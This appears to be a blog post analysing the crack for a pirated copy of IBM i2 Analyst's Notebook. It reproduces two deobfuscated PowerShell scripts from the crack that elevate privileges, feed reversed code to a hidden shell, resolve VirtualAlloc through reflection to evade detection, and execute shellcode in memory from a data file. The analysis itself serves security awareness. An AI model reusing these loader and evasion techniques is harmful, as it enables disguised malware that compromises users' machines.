#101 Reverse Engineering A Simple Crack
A lot of times the ordinary everyday person is unable to resist using pirated software. After all it’s free and usually works, there is the chance of contracting a virus or other malware but using reputable “sources” is acceptable because if many comments praise the distributor then obviously the software can be fine right?
Well…. not necessarily… in some cases bots can create comments and high seed counts creating the appearance of a well received product. Also flags as false positives can be used as camouflage, sometimes the crack installs discrete backdoors sometimes following the living of the land principal. Basically using the files and programs already installed out of the box on Windows or Linux. This makes it very difficult to find the malware as no foreign exe or files are used (at least in the initial stage of infection)
Therefore antivirus software can get stuck with behavior analysis and hash scans. Creating large files (hundreds of megabytes) and reversing code, using BOM to obfuscate are a few little tricks that may be caught by themselves but layering all these techniques can make the malware almost undetectable.
So I decided to create an example using a real life application and crack I found for IBM analyst’s notebook which is used by private and government organizations. Opening a broad portal to many computers luckily when I decoded the scripts I did not see anything too suspicious. however after the patch (DTD.dll) is installed I do not know what behavior the application will show.
The application was downloaded via torrent and yes all the files were correct no man in the middle attacks took place.
Three files are present after unzipping IBM i2 Analyst’s Notebook 9.2.3 Multilingual.zip
Luckily windows CMD and Powershell are used to copy the cack.
crack.zip
IBM_I2_ANB_V9.2.3.exe
IBM_I2_CHART_READER_V9.2.3.exe
Inside crack.zip
—bin.dat
—patch.bat
—Readme.txt
Interesting enough Readme.txt only instructs the user to run patch.bat although the file DTD.dll is copied to \Program Files (x86)\Common Files\i2 Shared\i2 Analyst’s Notebook 7\Components\DTD.dll
There’s no mention of the i2 Analyst’s Notebook 7 folder and we are presumably installing version 9.2.3
patch.bat is obfuscated due to some carefully chosen bytes at the very beginning of the file that are able to trick file and other charset detection software.
As referenced by this
However once we remove the character and save the file we can see that the .bat file calls Powershell and then extracts and reverses a script from the bin.dat file.. then runs the extracted script in the terminal.
This 1st Powershell script checks for admin privilege then reverses and reads another script from bin.dat.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 |
function Test-Administrator { $user = [Security.Principal.WindowsIdentity]::GetCurrent(); (New-Object Security.Principal.WindowsPrincipal $user).IsInRole([Security.Principal.WindowsBuiltinRole]::Administrator) } if (-not (Test-Administrator)) { Start-Process -FilePath 'cmd.exe' -ArgumentList "/c `"$($pwd.path)\patch.bat`"" -Verb 'RunAs' -WindowStyle 'Normal'; exit(0); } $pwsh = "$($env:windir)\System32\WindowsPowerShell\v1.0\powershell.exe"; if ([Environment]::Is64BitProcess) { $pwsh = "$($env:windir)\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"; } $fs = [IO.File]::OpenRead('bin.dat'); function Write-Line { param ( $b, $s ) $fs.Position = $b; $arr = [byte[]]::new($s); $fs.Read($arr, 0, $s) | Out-Null; [array]::Reverse($arr); return [Text.Encoding]::UTF8.GetString($arr); } $p = [Diagnostics.Process]::new(); $p.StartInfo.WindowStyle = 'Hidden'; $p.StartInfo.FileName = $pwsh; $p.StartInfo.UseShellExecute = $false; $p.StartInfo.RedirectStandardInput = $true; $p.StartInfo.RedirectStandardOutput = $true; $p.Start(); $p.BeginOutputReadLine(); $p.StandardInput.WriteLine((Write-Line 1809605 44)); $p.StandardInput.WriteLine((Write-Line 1811367 43)); $p.StandardInput.WriteLine((Write-Line 1810556 0)); $p.StandardInput.WriteLine((Write-Line 1812164 42)); $p.StandardInput.WriteLine((Write-Line 1810170 90)); $p.StandardInput.WriteLine((Write-Line 1810017 68)); $p.StandardInput.WriteLine((Write-Line 1809965 47)); $p.StandardInput.WriteLine((Write-Line 1811874 105)); $p.StandardInput.WriteLine((Write-Line 1809071 66)); $p.StandardInput.WriteLine((Write-Line 1810385 56)); $p.StandardInput.WriteLine((Write-Line 1811595 42)); $p.StandardInput.WriteLine((Write-Line 1810117 41)); $p.StandardInput.WriteLine((Write-Line 1810956 16)); $p.StandardInput.WriteLine((Write-Line 1810886 5)); $p.StandardInput.WriteLine((Write-Line 1812211 40)); $p.StandardInput.WriteLine((Write-Line 1811694 1)); $p.StandardInput.WriteLine((Write-Line 1810891 65)); $p.StandardInput.WriteLine((Write-Line 1809394 0)); $p.StandardInput.WriteLine((Write-Line 1810710 162)); $p.StandardInput.WriteLine((Write-Line 1811459 69)); $p.StandardInput.WriteLine((Write-Line 1810260 79)); $p.StandardInput.WriteLine((Write-Line 1809056 1)); $p.StandardInput.WriteLine((Write-Line 1811351 0)); $p.StandardInput.WriteLine((Write-Line 1808904 18)); $p.StandardInput.WriteLine((Write-Line 1810158 11)); $p.StandardInput.WriteLine((Write-Line 1809378 16)); $p.StandardInput.WriteLine((Write-Line 1811741 13)); $p.StandardInput.WriteLine((Write-Line 1811351 16)); $p.StandardInput.WriteLine((Write-Line 1812565 16)); $p.StandardInput.WriteLine((Write-Line 1809850 14)); $p.StandardInput.WriteLine((Write-Line 1811528 16)); $p.StandardInput.WriteLine((Write-Line 1812206 5)); $p.StandardInput.WriteLine((Write-Line 1810972 379)); $p.StandardInput.WriteLine((Write-Line 1812000 164)); $p.StandardInput.WriteLine((Write-Line 1812270 132)); $p.StandardInput.WriteLine((Write-Line 1811558 28)); $p.StandardInput.WriteLine((Write-Line 1808922 95)); $p.StandardInput.WriteLine((Write-Line 1809964 1)); $p.StandardInput.WriteLine((Write-Line 1810956 0)); $p.StandardInput.WriteLine((Write-Line 1812251 19)); $p.StandardInput.WriteLine((Write-Line 1811410 11)); $p.StandardInput.WriteLine((Write-Line 1810582 16)); $p.StandardInput.WriteLine((Write-Line 1808672 16)); $p.StandardInput.WriteLine((Write-Line 1811678 16)); $p.StandardInput.WriteLine((Write-Line 1811544 14)); $p.StandardInput.WriteLine((Write-Line 1808709 16)); $p.StandardInput.WriteLine((Write-Line 1812416 16)); $p.StandardInput.WriteLine((Write-Line 1809057 14)); $p.StandardInput.WriteLine((Write-Line 1809362 16)); $p.StandardInput.WriteLine((Write-Line 1811995 5)); $p.StandardInput.WriteLine((Write-Line 1809864 100)); $p.StandardInput.WriteLine((Write-Line 1809173 108)); $p.StandardInput.WriteLine((Write-Line 1809444 69)); $p.StandardInput.WriteLine((Write-Line 1808725 112)); $p.StandardInput.WriteLine((Write-Line 1811700 41)); $p.StandardInput.WriteLine((Write-Line 1810581 1)); $p.StandardInput.WriteLine((Write-Line 1812211 0)); $p.StandardInput.WriteLine((Write-Line 1808696 13)); $p.StandardInput.WriteLine((Write-Line 1812402 14)); $p.StandardInput.WriteLine((Write-Line 1809408 14)); $p.StandardInput.WriteLine((Write-Line 1811651 14)); $p.StandardInput.WriteLine((Write-Line 1810441 14)); $p.StandardInput.WriteLine((Write-Line 1809705 14)); $p.StandardInput.WriteLine((Write-Line 1809394 14)); $p.StandardInput.WriteLine((Write-Line 1810567 14)); $p.StandardInput.WriteLine((Write-Line 1811637 14)); $p.StandardInput.WriteLine((Write-Line 1810872 14)); $p.StandardInput.WriteLine((Write-Line 1809784 14)); $p.StandardInput.WriteLine((Write-Line 1809654 14)); $p.StandardInput.WriteLine((Write-Line 1809513 92)); $p.StandardInput.WriteLine((Write-Line 1809057 0)); $p.StandardInput.WriteLine((Write-Line 1810085 32)); $p.StandardInput.WriteLine((Write-Line 1811421 38)); $p.StandardInput.WriteLine((Write-Line 1810598 42)); $p.StandardInput.WriteLine((Write-Line 1811811 63)); $p.StandardInput.WriteLine((Write-Line 1809281 81)); $p.StandardInput.WriteLine((Write-Line 1808837 67)); $p.StandardInput.WriteLine((Write-Line 1810640 70)); $p.StandardInput.WriteLine((Write-Line 1809137 36)); $p.StandardInput.WriteLine((Write-Line 1811544 0)); $p.StandardInput.WriteLine((Write-Line 1809798 27)); $p.StandardInput.WriteLine((Write-Line 1809825 11)); $p.StandardInput.WriteLine((Write-Line 1809836 14)); $p.StandardInput.WriteLine((Write-Line 1811665 13)); $p.StandardInput.WriteLine((Write-Line 1811798 13)); $p.StandardInput.WriteLine((Write-Line 1811695 5)); $p.StandardInput.WriteLine((Write-Line 1811586 9)); $p.StandardInput.WriteLine((Write-Line 1809719 65)); $p.StandardInput.WriteLine((Write-Line 1811754 44)); $p.StandardInput.WriteLine((Write-Line 1809017 39)); $p.StandardInput.WriteLine((Write-Line 1809668 37)); $p.StandardInput.WriteLine((Write-Line 1809422 22)); $p.StandardInput.WriteLine((Write-Line 1809649 5)); $p.StandardInput.WriteLine((Write-Line 1810556 11)); $p.StandardInput.WriteLine((Write-Line 1810455 101)); $p.StandardInput.WriteLine((Write-Line 1811979 16)); $p.StandardInput.WriteLine((Write-Line 1810012 5)); $p.StandardInput.WriteLine((Write-Line 1810169 1)); $p.StandardInput.WriteLine((Write-Line 1809394 0)); $p.StandardInput.WriteLine((Write-Line 1812432 133)); $p.StandardInput.WriteLine((Write-Line 1808672 0)); $p.StandardInput.WriteLine((Write-Line 1808725 0)); $p.StandardInput.WriteLine((Write-Line 1810339 46)); $p.StandardInput.WriteLine((Write-Line 1808688 8)); $p.StandardInput.WriteLine((Write-Line 1811694 0)); $p.StandardInput.WriteLine(''); $p.WaitForExit(); $fs.Dispose(); exit(0); |
The 2nd Powershell script checks the install folders and makes use of the windows dialogs then uses virtualalloc to copy DTD.dll from the bin.dat file to the
\Program Files (x86)\Common Files\i2 Shared\i2 Analyst’s Notebook 7\Components\ directory
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 |
Add-Type -AssemblyName PresentationFramework Add-Type -AssemblyName System.Windows.Forms $dat = [IO.File]::ReadAllBytes('bin.dat'); [Environment]::SetEnvironmentVariable('Desktop', [Environment]::GetFolderPath('Desktop')); $installDir = [Environment]::ExpandEnvironmentVariables('%windir%'); if (-not [IO.Directory]::Exists($installDir)) { [Windows.MessageBox]::Show("Couldn't find defualt installation path ($installDir), Please specify."); $browser = New-Object System.Windows.Forms.FolderBrowserDialog $browser.Description = "Select Installation Folder"; $browser.ShowNewFolderButton = $false; if ($browser.ShowDialog() -ne "OK") { exit(0); } $installDir = $browser.SelectedPath; } [Environment]::SetEnvironmentVariable('InstallDir', $installDir); $assemblies = New-Object -TypeName System.Collections.Generic.Dictionary'[string, System.Reflection.Assembly]' -ArgumentList ([StringComparer]::OrdinalIgnoreCase) foreach ($assembly in ([AppDomain]::CurrentDomain.GetAssemblies())) { $assemblies[[System.IO.Path]::GetFileName($assembly.Location)] = $assembly; } function Get-Ptr { param ( [IntPtr] $ptr, [type[]] $params, [type] $rettype ) $bu = [AppDomain]::CurrentDomain.DefineDynamicAssembly([System.Reflection.AssemblyName]::new(('_' + [guid]::NewGuid().ToString())), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(('_' + [guid]::NewGuid().ToString()), $false).DefineType(('_' + [guid]::NewGuid().ToString()), 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]); $bu.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $params).SetImplementationFlags('Runtime, Managed'); $bu.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $rettype, $params).SetImplementationFlags('Runtime, Managed'); $del = $bu.CreateType(); return [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ptr, $del); } function Get-Func { param ( [string] $module, [string] $name, [type[]] $params, [type] $rettype ) $na = $assemblies['System.dll'].GetType(('Microsoft' + '.Win32.' + 'UnsafeN' + 'ativeMethods')); $gp = $na.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string')); $md = $na.GetMethod('GetModuleHandle').Invoke($null, @($module)); $ptr = $gp.Invoke($null, @(([System.Runtime.InteropServices.HandleRef]::new([object]::new(), $md)), $name)); return Get-Ptr $ptr $params $rettype; } $fname = 'V'; $fname += 'i'; $fname += 'r'; $fname += 't'; $fname += 'u'; $fname += 'a'; $fname += 'l'; $fname += 'A'; $fname += 'l'; $fname += 'l'; $fname += 'o'; $fname += 'c'; $func = Get-Func 'Kernel32.dll' $fname @([IntPtr], [IntPtr], [uint32], [uint32]) ([IntPtr]); [Array]::Reverse($dat, 0, 5920); [Array]::Reverse($dat, 5920, 1792000); $patch = $func.Invoke(0, 5920, 12288, 64); [Runtime.InteropServices.Marshal]::Copy($dat, 0, $patch, 5920); $patchfunc = Get-Ptr $patch @([uint32], [IntPtr], [IntPtr], [IntPtr]) ([IntPtr]); $patch2 = [Runtime.InteropServices.Marshal]::AllocHGlobal(1792000); [Runtime.InteropServices.Marshal]::Copy($dat, 5920, $patch2, 1792000); $patchfunc.Invoke(0, $patch2, 1, 0); function Copy-InstallFile { param ( $path, $pos, $size ) try { $path = [Environment]::ExpandEnvironmentVariables($path); [Array]::Reverse($dat, $pos, $size); $fs = [IO.File]::Create($path); $fs.Write($dat, $pos, $size); $fs.Dispose(); } catch { [Windows.MessageBox]::Show("Failed write file $path, Make sure Application is not running."); exit(0); } } Copy-InstallFile '%SystemDrive%\Program Files (x86)\Common Files\i2 Shared\i2 Analyst's Notebook 7\Components\DTD.dll' 1797920 10752; [Windows.MessageBox]::Show("Patch complete!"); exit(0); |
Then ends with a messagebox Patch complete!
Opening DTD.dll with dependency viewer shows only 4 functions.
A VirusTotal scan of DTD.dll shows only 3 positives.